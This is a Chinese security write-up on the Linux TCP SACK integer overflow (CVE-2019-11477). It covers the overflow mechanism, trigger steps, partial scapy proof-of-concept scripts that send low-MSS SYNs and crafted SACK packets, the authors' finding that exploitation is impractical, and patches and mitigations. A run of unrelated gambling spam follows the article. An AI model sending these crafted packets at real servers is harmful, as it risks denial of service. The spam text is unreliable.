CVE-2019-11477:Linux內核中TCP協議棧整數溢出漏洞詳細分析

2019-06-21 174463人圍觀 ,發現 4 個不明物體 漏洞系統安全

*本文中涉及到的相關漏洞已報送廠商并得到修復,本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔。

漏洞概述

2019年6月18日,RedHat官網發布CVE編號為CVE-2019-11477的漏洞,此漏洞是一個底層協議棧的整數溢出漏洞,影響Linux內核2.6.29及以上版本,理論上可以造成遠程拒絕服務漏洞。經過我們團隊分析驗證,在實際環境中很難觸發此漏洞,所以在實際環境中此漏洞危害沒那么大。

漏洞原理

該漏洞是一個位于skb_buff結構體上tcp_gso_segs成員的整數溢出漏洞。linux kernel數據包文以skb_buff結構體表示,內核為提升發包效率提供了NETIF_F_SG(默認開啟)、NETIF_F_ UFO等功能,當發送報文時,將會將小報文以類似分片形式累積,累積為大報文統一發送,由網卡硬件進行分片。此時報文累積最大長度為32k(x86)或者64k(powerpc)。代碼中,小報文積累隊列成員為skb_buff結構體的tcp_skb_cb對象,其中tcp_gso_segs成員是個short unsight int類型成員,代表小報文個數。

\linux\net\ipv4\tcp.c 

if(can_coalesce) {

                     skb_frag_size_add(&skb_shinfo(skb)->frags[i- 1], copy);

              } else {

                     get_page(page);

                     skb_fill_page_desc(skb, i,page, offset, copy);

              }

linux/include/linux/skbuff.h

struct tcp_skb_cb {    
__u32 seq; /* Starting sequence number*/
__u32 end_seq; /* SEQ + FIN + SYN +datalen */
__u32 tcp_tw_isn;
struct {
u16 tcp_gso_segs;
u16 tcp_gso_size;
};
__u8 tcp_flags; /2* TCP headerflags. (tcp[13]) */

}

通常,TCP協議為避免分片帶來的性能損失,提供了mss協商機制,通過在握手過程中提供雙方mtu值,協商雙方報文的最大報文長度,發送提供各自的mss長度,雙方選取最小的mss值為最大報文長度,此后,雙方報文的最大長度將不會超過協商得出的mss值。如果要漏洞出發,發送方在握手時將mss值強制置為8(mss協商最小值為48-最大tcp報頭長度=8)。即接收方在和握手方握手時,將mss值設置為8即可。

TCP-MSS,全稱TCP maximum segment size。翻譯過來是TCP最大報文尺寸。它的值代表TCP傳輸層期望對端發送給自己單個TCP報文的最大尺寸。

TCP協議中,當TCP協議兩端在初始協商進行TCP三次握手協議的時候,主機兩端會把自己當前所在鏈路的MSS值告知對方。當一端主機收到另外一端的MSS值候,它會評估其MSS值并與自己的MSS值做對比,取最小的值來決定TCP發送的最大報文尺寸。

如何計算本地MSS值?本地MSS=MTU-20字節的標準IP頭-20字節的標準TCP頭(換個角度看其實就是TCP負載) 

另外一個相關的是linux的sack機制。在RFC的描述中,當TCP報文亂序到達時,TCP接收端會要求發送端連未能按照順序發送的報文也重新發送,為改進TCP協議的發包效率,TCP提供了sack機制(自linux kernel 2.6.29以后提供了sack機制的實現),當接收方向發送方要求重傳時,重傳報文將會進入tcp_sendmsg函數的tcp_gso_segs機制中,以分片的形式積累報文碎片,在skb_buff結構體中最多接受17個分片隊列,在惡意會話的接收過程中,接收方可以不斷地要求發送方重傳,即接受方不斷向發送方發送sack報文,發送方接收到sack報文后,將重新發送報文。

linux/include/linux/skbuff.h

defineMAX_SKB_FRAGS (65536/PAGE_SIZE + 1) => 17

此時一個skb_buff結構體最多可以由17*32*1024%8=69632個報文碎片積累而成,而69632超過了tcp_gso_segs成員(無符號短整型)的最大值65535,將導致整數溢出,最終在tcp_shifted_skb函數中觸發崩潰。

linux\net\ipv4\tcp_input.c

static bool tcp_shifted_skb (struct sock *sk, …, unsigned int pcount, ...)
{
...
tcp_skb_pcount_add(prev, pcount);
BUG_ON(tcp_skb_pcount(skb) < pcount); <= SACK panic
tcp_skb_pcount_add(skb, -pcount);

漏洞觸發步驟:

1.客戶端連接服務端(同時三次握手過程中強制設置接受mss最大值為8);

2.客戶端誘導服務端發送超長報文給客戶端,貼近最大允許長度32k;

3.客戶端不斷發送重傳要求,服務端重復發送17次報文填滿skb分片隊列,導致tcp_gso_segs變量整數溢出,導致服務器遠程拒絕服務。

漏洞驗證

要成功構造poc報文,實際需要做到以下三點:

第一:誘騙服務端發送一次性發送接近32k大小TCP報文。通過服務器下載文件時(linux內核調用tcp_sendpage不走tcp_sendmsg調用可以逼近報文極限值,需要超過31k大小,實際情況是比較罕見的),發現http服務器將客戶端get的數據合并,逼近32k大小數據下發到客戶端,這一步是可以做到的,在TCP層,tcp_sendpage函數大概率可以做到一次下發超過31k大小的報文。

while (size > 0) {
     struct sk_buff *skb = tcp_write_queue_tail(sk);
     int copy, i;
     bool can_coalesce;
 
     if (!tcp_send_head(sk) || (copy = size_goal - skb->len) <= 0 ||
          !tcp_skb_can_collapse_to(skb)) {

new_segment:

   if (!sk_stream_memory_free(sk))
         goto wait_for_sndbuf; 
         skb = sk_stream_alloc_skb(sk, 0, sk->sk_allocation,

         skb_queue_empty(&sk->sk_write_queue));
   if (!skb)
         goto wait_for_memory;
         skb_entail(sk, skb);

         copy = size_goal;
   }
    if (copy > size)
         copy = size;

    i = skb_shinfo(skb)->nr_frags;
    can_coalesce = skb_can_coalesce(skb, i, page, offset);
    if (!can_coalesce && i >= sysctl_max_skb_frags) {

         tcp_mark_push(tp, skb);
         goto new_segment;
    }

    if (!sk_wmem_schedule(sk, copy))
         goto wait_for_memory;
    if (can_coalesce) {

         skb_frag_size_add(&skb_shinfo(skb)->frags[i - 1], copy);
    } else {
         get_page(page);

         skb_fill_page_desc(skb, i, page, offset, copy);
     }

第二,將TCP報文的實際荷載設置8字節(mss設置為最小值48,TCP選項頭設置為40字節,48-40=8)。此步實際情況是不默認,正常情況下是無法協商成功,客戶端發起的mss協商,默認情況下服務端將不會認可,默認發行版linux系統都開啟TSO(TCP Segment Offload)技術,為了盡可能發揮網卡性能,網卡會不斷嘗試擴大mss的值,當我們將mss協商成功為48時,很快TSO會將mss恢復為1460.所以實際攻擊鏈條在此時已經被打斷。

image.png

而且在我們測試將服務端發給我們的TCP數據包的TCP選項頭設為40,通過要求服務端數據包附帶時間戳選項,可以使TCP選項頭擁有12字節選項長度,如果需要更長的選項頭,需要一些特殊的TCP選項,如md5選項,但TCP的md5選項需要重新編譯內核,發行版不帶md5選項:

image.png

在默認情況下我們只做到了通過客戶端設置服務端報文12字節長度的TCP選項頭長度設置:

image.png

第三,對服務端發送sack報文,指定特定報文重傳。我們在對服務端進行指定字節序列的報文重傳時發現,我們無法做到累加重傳報文,在漏洞分析中,我們提到,我們需要使重傳報文累計到超過65535導致整數溢出,但是實際測試過程中發現,TCP的重傳實在過于迅速,我們的發包速度根本不夠服務端的gso機制生效累計積累超過65535個報文,我的最大累計此時30余次,服務端收到sack后累積重傳報文,收到ack后或其余機制釋放累積。

請注意下圖的報文序號,第27個報文請求指定重傳,第28個報文重傳指定報文,29個報文立刻發送正確順序的報文,第27個報文和第29個報文直接的時間實在過于短暫,可以通過并發分布式攻擊可以做到重傳報文累計超過65535次。

image.png

其他嘗試:

由于此漏洞的主要瑕疵在于mss協商機制啟用非默認,我們曾經嘗試繞過linux kernel的mss協商機制對服務端發起進攻,嘗試使用sack報文告訴服務端我們只缺少8字節長度(報文原長48字節情況下),此時服務端回復的報文并沒有只給我們8個字節長度的報文,而是把所缺少的報文所屬的報文(48字節長度)發回給我們,繞過嘗試失敗。

image.pngimage.png

最終我們認定此漏洞實際危害不大。 

測試代碼

我們使用的是python的scapy庫進行偽造客戶端與服務端進行通信。

Sack部分測試代碼:

from scapy.all import *

import time

        i=IP()

       i.dst="192.168.124.144"

        t=TCP()

       t.dport=8887

       t.flags="S"

       t.options=[('MSS',18),('SAckOK', '')]

        

        #sr1(i/t)

       SYNACK=sr1(i/t)

       seq_num=int(SYNACK.seq)

       

        # ACK

        ACK=TCP(dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq + 1)

        send(i/ACK)

        printseq_num

       #SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq + 1)

       time.sleep(1)

       SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack , ack=SYNACK.seq +1+0x30*2)

        #printSACK.seq

        num=3

       SACK.options=[('SAck',(SYNACK.seq+1+0x30*3 ,SYNACK.seq+1+0x30*4 ))]

       send(i/SACK)

        #whilenum<=100:

        #    SACK.options=[('SAck',(seq+1+0x30+0x30*num,seq+1+0x30  +0x30*(num+1)))]

        #    send(i/SACK)

        #    num=num+1

        #    if num==99:

        #        num=3

        time.sleep(500 ) 

Mss部分測試代碼:

from scapy.all import *

import time

 

     

         i=IP()

       i.dst="192.168.216.145"

        t=TCP()

    t.sport=3333

       t.dport=8887

        t.flags="S"

       t.options=[('MSS',48),('SAckOK', ''),('Timestamp',(111,222))]

        

        #sr1(i/t)

       SYNACK=sr1(i/t)

       seq=int(SYNACK.seq)

        # ACK

       ACK=TCP(sport=3333, dport=8887, flags='A', seq=SYNACK.ack, ack=SYNACK.seq+ 1)

       ACK.options=[('Timestamp',(222,333))]

    send(i/ACK)

        printACK.seq

       #SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq + 1)

        printstr(SYNACK.ack)

       SACK=TCP(dport=8887,flags='A',seq=SYNACK.ack, ack=SYNACK.seq+1+0x30)

        printSACK.seq

       SACK.options=[('SAck',(seq+1+0x38 ,seq+1+0x38  +0x30))]

        #whileTrue:

    time.sleep( 1 )

       send(i/SACK)

        time.sleep(500 )

漏洞修復

(1)及時更新補丁

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_1_4.patch

Linux內核版本>=4.14需要打第二個補丁:

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/PATCH_net_1a.patch

(2)禁用SACK處理

echo0 > /proc/sys/net/ipv4/tcp_sack

(3)使用過濾器來阻止攻擊

https://github.com/Netflix/security-bulletins/blob/master/advisories/third-party/2019-001/block-low-mss/README.md

此緩解需要禁用TCP探測時有效(即在/etc/sysctl.conf文件中將net.ipv4.tcp_mtu_probingsysctl設置為0)

(4)RedHat用戶可以使用以下腳本來檢查系統是否存在漏洞

https://access.redhat.com/sites/default/files/cve-2019-11477–2019-06-17-1629.sh

*本文作者:奇安信代碼衛士團隊研究員羅權、于長奇,轉載請注明來自FreeBuf.COM

相關推薦
發表評論

已有 4 條評論

取消
Loading...
奇安信代碼衛士

國內第一家專注于軟件開發安全的產品

55 文章數 23 評論數 10 關注者

特別推薦

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 重庆百变王牌走势图 体彩云南十一选五玩法说明 3d图谜总汇全图九 股票融资是什么 今天股票跌还是涨 长春麻将游戏免费下载 今日贵州快三开奖结果 3分PK10走势图 牛操盘股票配资平台 今日股票大盘多少点 喜乐彩开奖彩控 闲来安徽麻将安庆点炮2 河北十一选五今天 玩股票怎么玩 20选5开奖奖结果 白城乐喜麻将下载 广西快3开奖走势360